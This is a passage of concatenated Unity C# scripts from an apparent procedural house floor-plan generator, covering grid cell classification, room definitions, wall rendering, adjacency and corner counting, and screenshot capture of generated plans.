totCells=plotInf.numCells*plotInf.numCells;
}
public IEnumerator LateStart2(float waitTime)
{
yield return new WaitForSeconds(waitTime);
for(int ix=0;ix<plotInf.numCells;ix++){
for(int iy=0;iy<plotInf.numCells;iy++){
CellArray[ix,iy].location=0;
CellArray[ix,iy].roomId=99;
CellArray[ix,iy].wallSide=Vector4.zero;
}
}
initializeGrid();
setInnerCells();
GrowthMethod.initialized++;
totCells=plotInf.numCells*plotInf.numCells;
}
public void ResetArray(){
StartCoroutine(LateStart2(0.0f));
}
// Update is called once per frame
void FixedUpdate()
{
//initializeGrid();
}
void setInnerCells(){
for(int xi=0; xi<plotInf.numCells;xi++){
for(int yi=0; yi<plotInf.numCells;yi++){
if(CellArray[xi,yi].location==cellLocation.Inside){
float disttemp=99999.9f;
Vector2 gridVectemp= new Vector2(0,0);
for(int i=0; i<plotInf.plot.Length;i++){
//check if it is the last point, if so reuse first point
gridVectemp= new Vector2(xi+gridInf.offsetX,yi+gridInf.offsetY);
if(i+1<plotInf.plot.Length){
float dist=distanceFromLine(plotInf.plot[i],plotInf.plot[i+1],gridVectemp);
if(disttemp>dist){
disttemp=dist;
}
}else{
float dist=distanceFromLine(plotInf.plot[i],plotInf.plot[0],gridVectemp);
if(disttemp>dist){
disttemp=dist;
}
}
}
//print(disttemp);
if(disttemp>plotInf.numCells/5f){
CellArray[xi,yi].location=cellLocation.Inner;
}
}
}
}
}
void initializeGrid(){
//i9nitializes the grid based on the plot, will be used by the ground floor
for(int ix=0;ix<plotInf.numCells;ix++){
for(int iy=0;iy<plotInf.numCells;iy++){
CellArray[ix,iy].location=0;
}
}
int[,] a= new int[plotInf.numCells,plotInf.numCells];
for(int i=0; i<plotInf.plot.Length;i++){
//check if it is the last point, if so reuse first point
if(i+1<plotInf.plot.Length){
//for each x
//And y
//If the distance is smaller than one cell
//Check if in the range of the segment ADD IT TO BORDER
//IF is to the right of the line COUNT IT
for(int xi=0; xi<plotInf.numCells;xi++){
for(int yi=0; yi<plotInf.numCells;yi++){
Vector2 gridVec= new Vector2(xi+gridInf.offsetX,yi+gridInf.offsetY);
if(gridVec.x>plotInf.numCells)gridVec.x=-plotInf.numCells;
if(gridVec.y>plotInf.numCells)gridVec.y=-plotInf.numCells;
if(distanceFromLine(plotInf.plot[i],plotInf.plot[i+1],gridVec)<0.6f){
if((gridVec.x+1.0f>=plotInf.plot[i].x && gridVec.x-1.0f<=plotInf.plot[i+1].x) || (gridVec.x-1.0f<=plotInf.plot[i].x && gridVec.x+1.0f>=plotInf.plot[i+1].x)){
if((gridVec.y+1.0f>=plotInf.plot[i].y && gridVec.y-1.0f<=plotInf.plot[i+1].y) || (gridVec.y-1.0f<=plotInf.plot[i].y && gridVec.y+1.0f>=plotInf.plot[i+1].y)){
CellArray[xi,yi].location=cellLocation.Border;
}
}
}else if(isRight(plotInf.plot[i],plotInf.plot[i+1],gridVec)){
//CellArray[xi,yi].location=cellLocation.Inside;
a[xi,yi]++;
}
}
}
}else{
for(int xi=0; xi<plotInf.numCells;xi++){
for(int yi=0; yi<plotInf.numCells;yi++){
Vector2 gridVec= new Vector2(xi+gridInf.offsetX,yi+gridInf.offsetY);
if(gridVec.x>plotInf.numCells)gridVec.x=-plotInf.numCells;
if(gridVec.y>plotInf.numCells)gridVec.y=-plotInf.numCells;
if(distanceFromLine(plotInf.plot[i],plotInf.plot[0],gridVec)<0.6f){
if((gridVec.x+1.0f>=plotInf.plot[i].x && gridVec.x-1.0f<=plotInf.plot[0].x) || (gridVec.x-1.0f<=plotInf.plot[i].x && gridVec.x+1.0f>=plotInf.plot[0].x)){
if((gridVec.y+1.0f>=plotInf.plot[i].y && gridVec.y-1.0f<=plotInf.plot[0].y) || (gridVec.y-1.0f<=plotInf.plot[i].y && gridVec.y+1.0f>=plotInf.plot[0].y)){
CellArray[xi,yi].location=cellLocation.Border;
}
}
}else if(isRight(plotInf.plot[i],plotInf.plot[0],gridVec)){
//CellArray[xi,yi].location=cellLocation.Inside;
a[xi,yi]++;
}
}
}
}
}
//If the cells in a have a value of the number of line it means that all line had it to their right, so it is inside
for(int ix=0;ix<plotInf.numCells;ix++){
for(int iy=0;iy<plotInf.numCells;iy++){
if(a[ix,iy]>=plotInf.plot.Length){
CellArray[ix,iy].location=cellLocation.Inside;
}
}
}
int count =countInsideCells();
if(count>maxInnerCells){
maxInnerCells=count;
bestOffSetX=gridInf.offsetX;
bestOffSetY=gridInf.offsetY;
//print(count);
}
}
bool isRight(Vector2 a, Vector2 b, Vector2 c){
return ((c.x-a.x)*(b.y-a.y)-(c.y-a.y)*(b.x-a.x)) > 0;
}
float distanceFromLine(Vector2 A, Vector2 B, Vector2 P){
return (Mathf.Abs(((B.y-A.y)*P.x)-((B.x-A.x)*P.y)+(B.x*A.y)-(B.y*A.x)))/(Mathf.Sqrt(((B.y-A.y)*(B.y-A.y))+((B.x-A.x)*(B.x-A.x))));
}
int countInsideCells(){
int count=0;
foreach(cell c in CellArray){
if(c.location==cellLocation.Inside)count++;
}
return count;
}
void OnPostRender()
{
if(Draw2D){
float cellSize=1.0f/plotInf.numCells;
if (!mat)
{
Debug.LogError("Please Assign a material on the inspector");
return;
}
GL.PushMatrix();
GL.LoadOrtho();
//draw innerCells
#region innerCells
//mat.SetPass(0);
//GL.Begin(GL.LINES);
//for(int ix=0;ix<plotInf.numCells;ix++){
// for(int iy=0;iy<plotInf.numCells;iy++){
// if(CellArray[ix,iy].location==cellLocation.Inside){
// GL.Vertex3((ix+gridInf.offsetX)*cellSize+(cellSize/2),(iy+gridInf.offsetY)*cellSize+(cellSize/2),1);
// GL.Vertex3((ix+gridInf.offsetX)*cellSize+(cellSize),(iy+gridInf.offsetY)*cellSize+(cellSize/2),1);
// }
// }
//}
//GL.End();
//
////draw borderCells
//mat2.SetPass(0);
//GL.Begin(GL.LINES);
//for(int ix=0;ix<plotInf.numCells;ix++){
// for(int iy=0;iy<plotInf.numCells;iy++){
// if(CellArray[ix,iy].location==cellLocation.Border){
// GL.Vertex3((ix+gridInf.offsetX)*cellSize+(cellSize/2),(iy+gridInf.offsetY)*cellSize+(cellSize/2),1);
// GL.Vertex3((ix+gridInf.offsetX)*cellSize+(cellSize),(iy+gridInf.offsetY)*cellSize+(cellSize/2),1);
// }
// }
//}
//GL.End();
#endregion
//draw Rooms
if(init){
int i=0;
foreach(int r in HouseGraph.allRooms.Keys){
switch(i){
case 0:
mat.SetPass(0);
break;
case 1:
mat2.SetPass(0);
break;
case 2:
mat3.SetPass(0);
break;
case 3:
mat4.SetPass(0);
break;
}
i++;
if(i>=4)i=0;
GL.Begin(GL.LINES);
float fix=(cellSize/20);
List<Vector2Int> cells= HouseGraph.allRooms[r].outerCells;
foreach(Vector2Int c in cells){
//print(c);
if(CellArray[c.x,c.y].wallSide.x==1){
GL.Vertex3(((c.x+gridInf.offsetX)*cellSize),((c.y+gridInf.offsetY)*cellSize+(cellSize))-fix,1);
GL.Vertex3(((c.x+gridInf.offsetX)*cellSize+(cellSize)),((c.y+gridInf.offsetY)*cellSize+(cellSize))-fix,1);
}
if(CellArray[c.x,c.y].wallSide.y==1){
GL.Vertex3((c.x+gridInf.offsetX)*cellSize,((c.y+gridInf.offsetY)*cellSize)+fix,1);
GL.Vertex3((c.x+gridInf.offsetX)*cellSize+(cellSize),((c.y+gridInf.offsetY)*cellSize)+fix,1);
}
if(CellArray[c.x,c.y].wallSide.z==1){
GL.Vertex3(((c.x+gridInf.offsetX)*cellSize+cellSize)-fix,(c.y+gridInf.offsetY)*cellSize,1);
GL.Vertex3(((c.x+gridInf.offsetX)*cellSize+(cellSize))-fix,(c.y+gridInf.offsetY)*cellSize+(cellSize),1);
}
if(CellArray[c.x,c.y].wallSide.w==1){
GL.Vertex3(((c.x+gridInf.offsetX)*cellSize)+fix,(c.y+gridInf.offsetY)*cellSize,1);
GL.Vertex3(((c.x+gridInf.offsetX)*cellSize)+fix,(c.y+gridInf.offsetY)*cellSize+(cellSize),1);
}
}
GL.Vertex3(((HouseGraph.allRooms[r].centerPoint.x+gridInf.offsetX)*cellSize),((HouseGraph.allRooms[r].centerPoint.y+gridInf.offsetY)*cellSize)+(cellSize/2),1);
GL.Vertex3(((HouseGraph.allRooms[r].centerPoint.x+gridInf.offsetX)*cellSize)+cellSize/2,(HouseGraph.allRooms[r].centerPoint.y+gridInf.offsetY)*cellSize+(cellSize/2),1);
GL.End();
}
}
GL.PopMatrix();
}
}
}
<file_sep>/Assets/Scripts/Method/HouseGraph.cs
using System.Collections;
using System.Collections.Generic;
using UnityEngine;
public class HouseGraph : MonoBehaviour
{
public static int ID=0;
public static Dictionary<int, Room> allRooms;
public static Dictionary<int, Room> allRoomsTest;
public static int[,] roomAdjacencyMatrix;
public static List<Floor> floors;
public int type;
public bool drawing;
public static float boudingSize;
public static float boundingRatio;
public GameObject pref;
public static float[,] scores;
public static int numberOfHouses=0;
#region weightsDiversity
static float Wadjacencies=0.5f;
static float Wsizes=0.1f;
static float Wratios=2.0f;
static float Wcorners=1.0f;
static float Wbounding=.5f;
static float WboundingRatio=1.5f;
#endregion
//structure to store all connections without duplicates
public struct connection{
public int roomA;
public int roomB;
}
void Awake()
{
scores=new float[numberOfHouses,3];
floors =new List<Floor>();
allRooms= new Dictionary<int, Room>();
allRoomsTest=new Dictionary<int, Room>();
CellGridScript.init=true;
if(!drawing){
switch(type){
case 0:
Room hroom1= new Room(6.0f,9.0f,0.5f,1.4f,"Living",0,Room.roomType.living);
Room hroom2= new Room(5.0f,6.0f,0.5f,1.4f,"Kitchen",1,Room.roomType.kitchen);//
Room hroom3= new Room(5.0f,6.0f,0.5f,1.4f,"bed1",2,Room.roomType.bedroom);//
Room hroom31= new Room(5.0f,6.0f,0.5f,1.4f,"bed2",3,Room.roomType.bedroom);//
Room hroom4= new Room(4f,6.0f,0.5f,1.4f,"extra1",4,Room.roomType.extra);//
Room hroom5=new Room(4f,6.0f,0.5f,1.4f,"Bath",5,Room.roomType.bathroom);//
Room hroom11= new Room(6.0f,9.0f,0.5f,1.4f,"Living",0,Room.roomType.living);
Room hroom22= new Room(5.0f,6.0f,0.5f,1.4f,"Kitchen",1,Room.roomType.kitchen);//
Room hroom33= new Room(5.0f,6.0f,0.5f,1.4f,"bed1",2,Room.roomType.bedroom);//
Room hroom331= new Room(5.0f,6.0f,0.5f,1.4f,"bed2",3,Room.roomType.bedroom);//
Room hroom44= new Room(4.0f,6.0f,0.5f,1.4f,"extra1",4,Room.roomType.extra);//
Room hroom55=new Room(4.0f,6.0f,0.5f,1.4f,"Bath",5,Room.roomType.bathroom);//
allRooms.Add(hroom1.ID,hroom1);
allRooms.Add(hroom2.ID,hroom2);
allRooms.Add(hroom3.ID,hroom3);
allRooms.Add(hroom31.ID,hroom31);
allRooms.Add(hroom4.ID,hroom4);
allRooms.Add(hroom5.ID,hroom5);
allRoomsTest.Add(hroom1.ID,hroom11);
allRoomsTest.Add(hroom2.ID,hroom22);
allRoomsTest.Add(hroom3.ID,hroom33);
allRoomsTest.Add(hroom31.ID,hroom331);
allRoomsTest.Add(hroom4.ID,hroom44);
allRoomsTest.Add(hroom55.ID,hroom55);
break;
case 1:
Room room1= new Room(50.0f,60.0f,0.5f,1.5f,"Living",0,Room.roomType.living);
Room room2= new Room(40.0f,50.0f,0.5f,1.5f,"Kitchen",1,Room.roomType.kitchen);//
Room room3= new Room(40.0f,50.0f,0.5f,1.5f,"bed1",2,Room.roomType.bedroom);//
Room room31= new Room(40.0f,50.0f,0.5f,1.5f,"bed2",3,Room.roomType.bedroom);//
Room room4= new Room(10.0f,20.0f,0.5f,1.5f,"extra1",4,Room.roomType.extra);//
Room room5=new Room(10.0f,20.0f,0.5f,1.5f,"Bath",5,Room.roomType.bathroom);//
Room room11= new Room(50.0f,60.0f,0.5f,1.5f,"Living",0,Room.roomType.living);
Room room22= new Room(40.0f,50.0f,0.5f,1.5f,"Kitchen",1,Room.roomType.kitchen);//
Room room33= new Room(40.0f,50.0f,0.5f,1.5f,"bed",2,Room.roomType.bedroom);//
Room room331= new Room(40.0f,50.0f,0.5f,1.5f,"bed2",3,Room.roomType.bedroom);//
Room room44= new Room(10.0f,20.0f,0.5f,1.5f,"extra1",4,Room.roomType.extra);//
Room room55=new Room(10.0f,20.0f,0.5f,1.5f,"Bath",5,Room.roomType.bathroom);//
allRooms.Add(room1.ID,room1);
allRooms.Add(room2.ID,room2);
allRooms.Add(room3.ID,room3);
allRooms.Add(room31.ID,room31);
allRooms.Add(room4.ID,room4);
allRooms.Add(room5.ID,room5);
allRoomsTest.Add(room1.ID,room11);
allRoomsTest.Add(room2.ID,room22);
allRoomsTest.Add(room3.ID,room33);
allRoomsTest.Add(room31.ID,room331);
allRoomsTest.Add(room4.ID,room44);
allRoomsTest.Add(room55.ID,room55);
break;
case 2:
Room livng= new Room(30.0f,40.0f,0.5f,1.5f,"Living",0,Room.roomType.living);
Room kitch= new Room(20.0f,30.0f,0.5f,1.5f,"Kitchen",1,Room.roomType.kitchen);
Room bed1= new Room(15.0f,25.0f,0.5f,1.5f,"bed1",2,Room.roomType.bedroom);
Room bed2= new Room(15.0f,25.0f,0.5f,1.5f,"bed2",3,Room.roomType.bedroom);
Room bath=new Room(10.0f,15.0f,0.5f,1.5f,"Bath",4,Room.roomType.bathroom);
Room util=new Room(5.0f,15.0f,0.5f,1.5f,"Util",5,Room.roomType.extra);
Room garag=new Room(30.0f,40.0f,0.5f,1.5f,"Garage",6,Room.roomType.garage);
Room bed3= new Room(20.0f,30.0f,0.5f,1.5f,"MasterBed",7,Room.roomType.bedroom);
Room masterbath=new Room(10.0f,20.0f,0.5f,1.5f,"Bath",8,Room.roomType.bathroom);
Room livngt= new Room(30.0f,40.0f,0.5f,1.5f,"Living",0,Room.roomType.living);
Room kitcht= new Room(20.0f,30.0f,0.5f,1.5f,"Kitchen",1,Room.roomType.kitchen);
Room bed1t= new Room(15.0f,25.0f,0.5f,1.5f,"bed1",2,Room.roomType.bedroom);
Room bed2t= new Room(15.0f,25.0f,0.5f,1.5f,"bed2",3,Room.roomType.bedroom);
Room batht=new Room(10.0f,15.0f,0.5f,1.5f,"Bath",4,Room.roomType.bathroom);
Room utilt=new Room(5.0f,15.0f,0.5f,1.5f,"Util",5,Room.roomType.extra);
Room garagt=new Room(30.0f,40.0f,0.5f,1.5f,"Garage",6,Room.roomType.garage);
Room bed3t= new Room(20.0f,30.0f,0.5f,1.5f,"MasterBed",7,Room.roomType.bedroom);
Room masterbatht=new Room(10.0f,20.0f,0.5f,1.5f,"Bath",8,Room.roomType.bathroom);
allRooms.Add(0,livng);
allRooms.Add(1,kitch);
allRooms.Add(2,bed1);
allRooms.Add(3,bed2 );
allRooms.Add(4,bath);
allRooms.Add(5,util);
allRooms.Add(6,garag);
allRooms.Add(7,bed3 );
allRooms.Add(8,masterbath);
allRoomsTest.Add(0,livngt);
allRoomsTest.Add(1,kitcht);
allRoomsTest.Add(2,bed1t);
allRoomsTest.Add(3,bed2t );
allRoomsTest.Add(4,batht);
allRoomsTest.Add(5,utilt);
allRoomsTest.Add(6,garagt);
allRoomsTest.Add(7,bed3t );
allRoomsTest.Add(8,masterbatht);
break;
case 3:
Room LIVING= new Room(30.0f,40.0f,0.5f,1.5f,"Livingroom",0,Room.roomType.living);
Room KITCH= new Room(30.0f,40.0f,0.5f,1.5f,"Kitchen",1,Room.roomType.kitchen);
Room TOIL= new Room(5.0f,15.0f,0.5f,1.5f,"Toilet",2,Room.roomType.toilet);
Room BED1= new Room(20.0f,30.0f,0.5f,1.5f,"MasterBed",3,Room.roomType.bedroom);
Room BATH1=new Room(10.0f,20.0f,0.5f,1.5f,"Bath1",4,Room.roomType.bathroom);
Room PANT=new Room(5.0f,10.0f,0.5f,1.5f,"Pantrie",5,Room.roomType.extra);
Room BED2= new Room(20.0f,30.0f,0.5f,1.5f,"Bed1",6,Room.roomType.bedroom);
Room BED3= new Room(20.0f,30.0f,0.5f,1.5f,"Bed2",7,Room.roomType.bedroom);
Room BATH2=new Room(10.0f,15.0f,0.5f,1.5f,"Bath2",8,Room.roomType.bathroom);
Room BED4= new Room(20.0f,30.0f,0.5f,1.5f,"MaterBed2",9,Room.roomType.bedroom);
Room Closet= new Room(5.0f,15.0f,0.5f,1.5f,"Closet",10,Room.roomType.ensuite);
Room GARA= new Room(20.0f,40.0f,0.5f,1.5f,"Garage",11,Room.roomType.garage);
Room LIVINGt= new Room(30.0f,40.0f,0.5f,1.5f,"Livingroom",0,Room.roomType.living);
Room KITCHt= new Room(30.0f,40.0f,0.5f,1.5f,"Kitchen",1,Room.roomType.kitchen);
Room TOILt= new Room(5.0f,15.0f,0.5f,1.5f,"Toilet",2,Room.roomType.toilet);
Room BED1t= new Room(20.0f,30.0f,0.5f,1.5f,"MasterBed",3,Room.roomType.bedroom);
Room BATH1t=new Room(10.0f,20.0f,0.5f,1.5f,"Bath1",4,Room.roomType.bathroom);
Room PANTt=new Room(5.0f,10.0f,0.5f,1.5f,"Pantrie",5,Room.roomType.extra);
Room BED2t= new Room(20.0f,30.0f,0.5f,1.5f,"Bed1",6,Room.roomType.bedroom);
Room BED3t= new Room(20.0f,30.0f,0.5f,1.5f,"Bed2",7,Room.roomType.bedroom);
Room BATH2t=new Room(10.0f,15.0f,0.5f,1.5f,"Bath2",8,Room.roomType.bathroom);
Room BED4t= new Room(20.0f,30.0f,0.5f,1.5f,"MaterBed2",9,Room.roomType.bedroom);
Room Closett= new Room(5.0f,15.0f,0.5f,1.5f,"Closet",10,Room.roomType.ensuite);
Room GARAt= new Room(20.0f,40.0f,0.5f,1.5f,"Garage",11,Room.roomType.garage);
allRooms.Add(LIVING.ID,LIVING);
allRooms.Add(KITCH.ID,KITCH);
allRooms.Add(TOIL.ID,TOIL);
allRooms.Add(BED1.ID,BED1);
allRooms.Add(BATH1.ID,BATH1);
allRooms.Add(PANT.ID,PANT);
allRooms.Add(BED2.ID,BED2);
allRooms.Add(BED3.ID,BED3);
allRooms.Add(BATH2.ID,BATH2);
allRooms.Add(BED4.ID,BED4);
allRooms.Add(Closet.ID,Closet);
allRooms.Add(GARA.ID,GARA);
allRoomsTest.Add(LIVINGt.ID,LIVINGt);
allRoomsTest.Add(KITCHt.ID,KITCHt);
allRoomsTest.Add(TOILt.ID,TOILt);
allRoomsTest.Add(BED1t.ID,BED1t);
allRoomsTest.Add(BATH1t.ID,BATH1t);
allRoomsTest.Add(PANTt.ID,PANTt);
allRoomsTest.Add(BED2t.ID,BED2t);
allRoomsTest.Add(BED3t.ID,BED3t);
allRoomsTest.Add(BATH2t.ID,BATH2t);
allRoomsTest.Add(BED4t.ID,BED4t);
allRoomsTest.Add(Closett.ID,Closett);
allRoomsTest.Add(GARAt.ID,GARAt);
break;
}
roomAdjacencyMatrix=new int[allRooms.Count,allRooms.Count];
//UpdateRAM();
DivideIntoFloors();
GrowthMethod.initialized++;
boudingSize=0;
foreach(Room r in allRooms.Values){
boudingSize+=r.maxSize;
}
//print(boudingSize);
}
}
public void SaveHouse(float fitScore, float reqScore,int ite){
scores[ID,0]=fitScore;
scores[ID,1]=reqScore;
scores[ID,2]=ite;
int i=0;
foreach(Room r in allRooms.Values){
int corners=0;
r.currentAdj.Clear();
GameObject gg=Instantiate(pref);
gg.name=ID+"_"+i;
SaveScript sc=gg.GetComponent<SaveScript>();
sc.adj=new List<int>();
sc.fitScore=fitScore;
sc.qualityScore=reqScore;
foreach(Vector2Int v in r.outerCells){
Vector4 walls=CellGridScript.CellArray[v.x,v.y].wallSide;
if(walls.x==1){
if(CellGridScript.CellArray[v.x,v.y+1].roomId<99){
if(!sc.adj.Contains(CellGridScript.CellArray[v.x,v.y+1].roomId)){
sc.adj.Add(CellGridScript.CellArray[v.x,v.y+1].roomId);
}
}
}
if(walls.y==1){
if(CellGridScript.CellArray[v.x,v.y-1].roomId<99){
if(!sc.adj.Contains(CellGridScript.CellArray[v.x,v.y-1].roomId)){
sc.adj.Add(CellGridScript.CellArray[v.x,v.y-1].roomId);
}
}
}
if(walls.z==1){
if(CellGridScript.CellArray[v.x+1,v.y].roomId<99){
if(!sc.adj.Contains(CellGridScript.CellArray[v.x+1,v.y].roomId)){
sc.adj.Add(CellGridScript.CellArray[v.x+1,v.y].roomId);
}
}
}
if(walls.w==1){
if(CellGridScript.CellArray[v.x-1,v.y].roomId<99){
if(sc.adj.Contains(CellGridScript.CellArray[v.x-1,v.y].roomId)){
sc.adj.Add(CellGridScript.CellArray[v.x-1,v.y].roomId);
}
}
}
if(walls.x==1 && walls.w==1)corners++;
if(walls.y==1 && walls.z==1)corners++;
if(walls.y==1 && walls.w==1)corners++;
if(walls.x==1 && (CellGridScript.CellArray[v.x+1,v.y+1].wallSide.w==1 && CellGridScript.CellArray[v.x+1,v.y+1].roomId==r.ID))corners++;
if(walls.x==1 && (CellGridScript.CellArray[v.x-1,v.y+1].wallSide.z==1 && CellGridScript.CellArray[v.x-1,v.y+1].roomId==r.ID))corners++;
if(walls.y==1 && (CellGridScript.CellArray[v.x+1,v.y-1].wallSide.w==1 && CellGridScript.CellArray[v.x+1,v.y-1].roomId==r.ID))corners++;
if(walls.y==1 && (CellGridScript.CellArray[v.x-1,v.y-1].wallSide.z==1 && CellGridScript.CellArray[v.x-1,v.y-1].roomId==r.ID))corners++;
if(walls.z==1 && (CellGridScript.CellArray[v.x+1,v.y+1].wallSide.y==1 && CellGridScript.CellArray[v.x+1,v.y+1].roomId==r.ID))corners++;
if(walls.z==1 && (CellGridScript.CellArray[v.x+1,v.y-1].wallSide.x==1 && CellGridScript.CellArray[v.x+1,v.y-1].roomId==r.ID))corners++;
if(walls.w==1 && (CellGridScript.CellArray[v.x-1,v.y+1].wallSide.y==1 && CellGridScript.CellArray[v.x-1,v.y+1].roomId==r.ID))corners++;
if(walls.w==1 && (CellGridScript.CellArray[v.x-1,v.y-1].wallSide.x==1 && CellGridScript.CellArray[v.x-1,v.y-1].roomId==r.ID))corners++;
}
r.corners=corners;
sc.currSize=r.currSize;
sc.currRatio=r.currRatio;
sc.corners=r.corners;
sc.boudingSize=boudingSize;
sc.boudingSize=boundingRatio;
i++;
}
ID++;
}
public void Reset(){
Floor.idGenerator=0;
Awake();
}
public void DivideIntoFloors()
{
List<int> rooms=new List<int>();
for(int i=0;i<allRooms.Count;i++){
rooms.Add(i);
}
Floor f = new Floor(rooms);
floors.Add(f);
}
}<file_sep>/Assets/Scripts/Visual/CameraCapture.cs
using System.IO;
using UnityEngine;
public class CameraCapture : MonoBehaviour
{
public int fileCounter;
public KeyCode screenshotKey;
private Camera Camera;
public RenderTexture text;
private int[,] iterations;
private float[,] fits;
static int ii=0;
static int currI=0;
void Start(){
Camera=this.GetComponent<Camera>();
fits=new float[HouseGraph.numberOfHouses+1,1100];
System.GC.KeepAlive(fits);
}
private void LateUpdate()
{
if (Input.GetKeyDown(screenshotKey))
{
Capture(0,0,0,0);
}
}
public void Capture(int i, float points, int iteration, float time)
{
Camera.targetTexture=text;
RenderTexture activeRenderTexture = RenderTexture.active;
RenderTexture.active = Camera.targetTexture;
Camera.Render();
Texture2D image = new Texture2D(Camera.targetTexture.width, Camera.targetTexture.height);
image.ReadPixels(new Rect(0, 0, Camera.targetTexture.width, Camera.targetTexture.height), 0, 0);
image.Apply();
RenderTexture.active = activeRenderTexture;
byte[] bytes = image.EncodeToPNG();
Destroy(image);
File.WriteAllBytes("./images/"+"EndPlan"+(int)points+"_"+iteration+"_"+time+ ".png", bytes);
fileCounter++;
Camera.targetTexture=null;
}
public void CaptureFrame(int run,float points, int iteration, bool im){
if(currI!=run){
currI=run;
ii=0;
}
fits[run,ii]=points;
ii++;
if(im){
Camera.targetTexture=text;
RenderTexture activeRenderTexture = RenderTexture.active;
RenderTexture.active = Camera.targetTexture;
Camera.Render();
Texture2D image = new Texture2D(Camera.targetTexture.width, Camera.targetTexture.height);
image.ReadPixels(new Rect(0, 0, Camera.targetTexture.width, Camera.targetTexture.height), 0, 0);
image.Apply();
RenderTexture.active = activeRenderTexture;
byte[] bytes = image.EncodeToPNG();
Destroy(image);
File.WriteAllBytes("C:/Users/BigPC/Desktop/GoodResults"+ "/Frames/"+run+"_"+points+"_"+iteration+ ".png", bytes);
fileCounter++;
Camera.targetTexture=null;
}
}
}<file_sep>/Assets/Scripts/Visual/Model.cs
using System.Collections;
using System.Collections.Generic;
using UnityEngine;
public class Model : MonoBehaviour
{
public GameObject Container;
[Space]
[Header("Pieces")]
public GameObject NONE;
public GameObject UP;
public GameObject DOWN;
public GameObject RIGHT;
public GameObject LEFT;
public GameObject UP_DOOR;
public GameObject DOWN_DOOR;
public GameObject LEFT_DOOR;
public GameObject RIGHT_DOOR;
public GameObject UP_RIGHT;
public GameObject UP_LEFT;
public GameObject DOWN_RIGHT;
public GameObject DOWN_LEFT;
public GameObject UP_DOWN;
public GameObject LEFT_RIGHT;
public GameObject UP_LEFT_DOWN;
public GameObject UP_RIGHT_DOWN;
public GameObject DOWN_LEFT_RIGHT;
public GameObject UP_LEFT_RIGHT;
public GameObject ALL;
// Start is called before the first frame update
void Start()
{
}
// Update is called once per frame
void Update()
{
}
public void Generate(){
foreach (Transform child in Container.transform) {
GameObject.Destroy(child.gameObject);
}
int minx=100,miny =100;
int maxx=-10,maxy =-10;
List<int> rooms= new List<int>();
for(int x=0;x<CellGridScript.CellArray.GetLength(0);x++){
for(int y=0;y<CellGridScript.CellArray.GetLength(1);y++){
if(CellGridScript.CellArray[x,y].roomId<99){
if(x<minx)minx=x;
else if(x>maxx)maxx=x;
if(y<miny)miny=y;
else if(y>maxy)maxy=y;
int nw=sumOfWall(CellGridScript.CellArray[x,y].wallSide);
switch(nw){
case 0:
Instantiate(NONE,new Vector3(x*3,0,y*3),Quaternion.identity,Container.transform);
break;
case 1:
if(CellGridScript.CellArray[x,y].wallSide.x==1){
Instantiate(UP,new Vector3(x*3,0,y*3),Quaternion.identity,Container.transform);
if(CellGridScript.CellArray[x,y].roomId!=CellGridScript.CellArray[x,y+1].roomId){
if(!rooms.Contains(CellGridScript.CellArray[x,y+1].roomId)){
Instantiate(UP_DOOR,new Vector3(x*3,0,y*3),Quaternion.identity,Container.transform);
rooms.Add(CellGridScript.CellArray[x,y+1].roomId);
}
}
}else if(CellGridScript.CellArray[x,y].wallSide.y==1){
Instantiate(DOWN,new Vector3(x*3,0,y*3),Quaternion.identity,Container.transform);
if(CellGridScript.CellArray[x,y].roomId!=CellGridScript.CellArray[x,y-1].roomId){
if(!rooms.Contains(CellGridScript.CellArray[x,y-1].roomId)){
Instantiate(DOWN_DOOR,new Vector3(x*3,0,y*3),Quaternion.identity,Container.transform);
rooms.Add(CellGridScript.CellArray[x,y-1].roomId);
}
}
}else if(CellGridScript.CellArray[x,y].wallSide.z==1){
Instantiate(RIGHT,new Vector3(x*3,0,y*3),Quaternion.identity,Container.transform);
if(CellGridScript.CellArray[x,y].roomId!=CellGridScript.CellArray[x+1,y].roomId){
if(!rooms.Contains(CellGridScript.CellArray[x+1,y].roomId)){
Instantiate(RIGHT_DOOR,new Vector3(x*3,0,y*3),Quaternion.identity,Container.transform);
rooms.Add(CellGridScript.CellArray[x+1,y].roomId);
}
}
}else if(CellGridScript.CellArray[x,y].wallSide.w==1){
Instantiate(LEFT,new Vector3(x*3,0,y*3),Quaternion.identity,Container.transform);
if(CellGridScript.CellArray[x,y].roomId!=CellGridScript.CellArray[x-1,y].roomId){
if(!rooms.Contains(CellGridScript.CellArray[x-1,y].roomId)){
Instantiate(LEFT_DOOR,new Vector3(x*3,0,y*3),Quaternion.identity,Container.transform);
rooms.Add(CellGridScript.CellArray[x-1,y].roomId);
}
}
}
break;
case 2:
if(CellGridScript.CellArray[x,y].wallSide.x==1 && CellGridScript.CellArray[x,y].wallSide.z==1){
Instantiate(UP_RIGHT,new Vector3(x*3,0,y*3),Quaternion.identity,Container.transform);
if(CellGridScript.CellArray[x,y].roomId!=CellGridScript.CellArray[x,y+1].roomId){
if(!rooms.Contains(CellGridScript.CellArray[x,y+1].roomId)){
Instantiate(UP_DOOR,new Vector3(x*3,0,y*3),Quaternion.identity,Container.transform);
rooms.Add(CellGridScript.CellArray[x,y+1].roomId);
}
}
if(CellGridScript.CellArray[x,y].roomId!=CellGridScript.CellArray[x+1,y].roomId){
if(!rooms.Contains(CellGridScript.CellArray[x+1,y].roomId)){
Instantiate(RIGHT_DOOR,new Vector3(x*3,0,y*3),Quaternion.identity,Container.transform);
rooms.Add(CellGridScript.CellArray[x+1,y].roomId);
}
}
}else if(CellGridScript.CellArray[x,y].wallSide.x==1 && CellGridScript.CellArray[x,y].wallSide.w==1){
Instantiate(UP_LEFT,new Vector3(x*3,0,y*3),Quaternion.identity,Container.transform);
if(CellGridScript.CellArray[x,y].roomId!=CellGridScript.CellArray[x,y+1].roomId){
if(!rooms.Contains(CellGridScript.CellArray[x,y+1].roomId)){
Instantiate(UP_DOOR,new Vector3(x*3,0,y*3),Quaternion.identity,Container.transform);
rooms.Add(CellGridScript.CellArray[x,y+1].roomId);
}
}
if(CellGridScript.CellArray[x,y].roomId!=CellGridScript.CellArray[x-1,y].roomId){
if(!rooms.Contains(CellGridScript.CellArray[x-1,y].roomId)){
Instantiate(LEFT_DOOR,new Vector3(x*3,0,y*3),Quaternion.identity,Container.transform);
rooms.Add(CellGridScript.CellArray[x-1,y].roomId);
}
}
}else if(CellGridScript.CellArray[x,y].wallSide.y==1 && CellGridScript.CellArray[x,y].wallSide.z==1){
Instantiate(DOWN_RIGHT,new Vector3(x*3,0,y*3),Quaternion.identity,Container.transform);
if(CellGridScript.CellArray[x,y].roomId!=CellGridScript.CellArray[x,y-1].roomId){
